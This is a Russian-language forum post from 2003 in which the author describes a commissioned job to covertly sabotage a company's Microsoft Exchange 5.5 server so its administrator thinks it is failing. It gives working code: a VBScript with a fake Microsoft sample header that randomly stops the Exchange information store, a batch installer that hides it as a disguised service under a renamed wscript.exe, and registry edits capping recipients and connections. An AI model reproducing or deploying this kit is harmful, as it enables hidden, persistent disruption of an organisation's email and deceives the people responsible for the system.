Показать сообщение отдельно
Старый 25.06.2003, 21:33     # 1
KpNemo
Administrator
 
Аватар для KpNemo
 
Регистрация: 12.11.2001
Адрес: Израиль
Пол: Male
Сообщения: 2 033

KpNemo Отец (мать) всех ГуруKpNemo Отец (мать) всех ГуруKpNemo Отец (мать) всех ГуруKpNemo Отец (мать) всех ГуруKpNemo Отец (мать) всех ГуруKpNemo Отец (мать) всех ГуруKpNemo Отец (мать) всех ГуруKpNemo Отец (мать) всех ГуруKpNemo Отец (мать) всех ГуруKpNemo Отец (мать) всех ГуруKpNemo Отец (мать) всех ГуруKpNemo Отец (мать) всех ГуруKpNemo Отец (мать) всех ГуруKpNemo Отец (мать) всех ГуруKpNemo Отец (мать) всех ГуруKpNemo Отец (мать) всех ГуруKpNemo Отец (мать) всех ГуруKpNemo Отец (мать) всех Гуру
нужно сделать западло сисадмину !!!

Привет Всем.
Многие сталкивались с проблемой восстановления Оконных систем.
Как не странно, но иногда бывает и наоборот.
Совсем недавно столкнулся с очень интересным заказом.
Нужно было сделать так, что бы Админ сошёл с ума.
Задача была очень простая, надо было сделать так. что бы Microsoft Exchange Server вел себя так, будто с ним что то не в порядке.

Получив полную информацию о системе, принялись за работу. Кофингурация была следующия:
Win NT 4 + SP6a
IE5.5 + SP2
Exchange Server 5.5 + SP4.
McAfee Antivirus + Exchange.

Первое, что пришло в голову, сделать что либо, что эмитирует проблемы которые встречаются после установки антивируса.

Был написан VB скрипт. назвали скрипт Networks.vbs. Вот содержание этого скрипта:

' Windows Script Host Sample Script
'
' ------------------------------------------------------------------------
' Copyright (C) 1996 Microsoft Corporation
'
' You have a royalty-free right to use, modify, reproduce and distribute
' the Sample Application Files (and/or any modified version) in any way
' you find useful, provided that you agree that Microsoft has no warranty,
' obligations or liability for any Sample Application Files.
' ------------------------------------------------------------------------
'
' This sample demonstrates how to use the WSHNetwork object.
' It reads network properties (username and computername),
' connects, disconnects, and enumerates network drives.
' ********************************************************************** **********

Dim FSO, f, sysdrive, FileName
Set WshShell = WScript.CreateObject( "WScript.Shell" )
Set fso = CreateObject("Scripting.FileSystemObject")

sysdrive = WshShell.ExpandEnvironmentStrings ("%systemdrive%")

FileName = "C:\WINNT\SYSTEM32\558set.hlp"
for i = 1 to 2
Randomize
' msgbox Int(100000000*Rnd)/1.2/1000/60
' msgbox Int(100000000*Rnd)/1.2
Wscript.Sleep Int(100000000*Rnd)/1.2
' Wscript.Sleep 60000
if (fso.FileExists(FileName)) Then
' WshShell.Run "cvshost.exe "& FileName, 0, True
' msgbox "oK"
WshShell.Run "Net Stop MSExchangeIS", 0, True
End If
i = 1
next

Шапка в начале скрипта, как Вы понимаете, просто маскировка.
Этот скрипт проверяет наличие файла 558set.hlp в директории C:\WINNT\SYSTEM32.
Если этого файла нет, то скрипт становится безобидным. Если этот файл там есть, неважно что написано в файле, то наш скрипт выполняется.
Когда работает скрипт, генерируется любое число, которое мы используем как параметр задержки. Когда период задержки заканчивается, на сервере останавливается сервис базы данных, ну и Вы понимаете, что происходит, ВСЕ пользователи моментально отключаются от всех почтовых ящиков. Чтобы на компьютере работал скрипт, и его было трудно вычислить, мы переписываем файл wscript.exe в файл cvshost.exe. Правда выглядит правдоподобно?

Теперь надо сделать так, что бы наш скрипт всегда запускался и работал, причём что бы на него никто не обращал внимание.
Мы решили создать новый сервис. Сервис мы назвали NetDDEU. Похожий сервис всегда существует на компьютере.
Чтобы создать сервис, мы использовали файлы instsrv.exe и srvany.exe из ресурс кит виндов. Мы немного упростили весь процесс установки, написав файл Install.bat. Вот содержимое этого файла:

@echo off
if not exist "%SYSTEMROOT%\system32\srvany.exe" copy srvany.exe "%SYSTEMROOT%\system32"
if not exist "%SYSTEMROOT%\system32\cvshost.exe" copy "%SYSTEMROOT%\system32\wscript.exe" "%SYSTEMROOT%\system32\cvshost.exe"
if not exist "%SYSTEMDRIVE%\PROGRA~1\PLUS!\MICROS~1\SETUP\Networks.vbs" copy Networks.vbs "%SYSTEMDRIVE%\PROGRA~1\PLUS!\MICROS~1\SETUP"

instsrv "NetDDEU" "%SYSTEMROOT%\system32\srvany.exe"

echo REGEDIT4 > "%Temp%\netddeu.reg"
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetDDEU] >> "%Temp%\netddeu.reg"
echo "Description"="Manages shared dynamic data exchange and is used by Network DDEU" >> "%Temp%\netddeu.reg"
echo "DisplayName"="Network DDEU" >> "%Temp%\netddeu.reg"
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetDDEU\Parameter s] >> "%Temp%\netddeu.reg"
echo "Application"="%SYSTEMDRIVE%\\WINNT\\System32\\cvshost.exe">> "%Temp%\netddeu.reg"
echo "AppParameters"="%SYSTEMDRIVE%\\PROGRA~1\\PLUS!\\MICROS~1\\SETUP" >> "%Temp%\netddeu.reg"

regedit /s "%Temp%\netddeu.reg"
echo y| del "%Temp%\netddeu.reg"

pause

ПРИМЕЧАНИЕ: Что бы всё работало без проблем, на сервере должен быть установлен WHS version 5.6

Вдогонку к сказанному, было предпринято ещё 2 шага.
1. Было сделано так, что все пользователи системы могли посылать почту одновременно только к 2 абонентам. Сделали это при помощи маленьких изменений в регистри. Вот, что было изменено:

REGEDIT4

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSExchangeIS\Para metersSystem]
"Max Recipients on Submit"=dword:00000002

2. Был выставлен лимит на количество подключений к серверу. После этих изменений только 50 человек могли одновременно работать с сервером. А менять надо было следующее:

REGEDIT4

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\para meters]
"Users"=dword:00000032

Можете себе представить состояние того Админа. Нет никаких ошибок, всё работает без проблем, но......




у кого есть советы пожелания ... пишите
KpNemo вне форума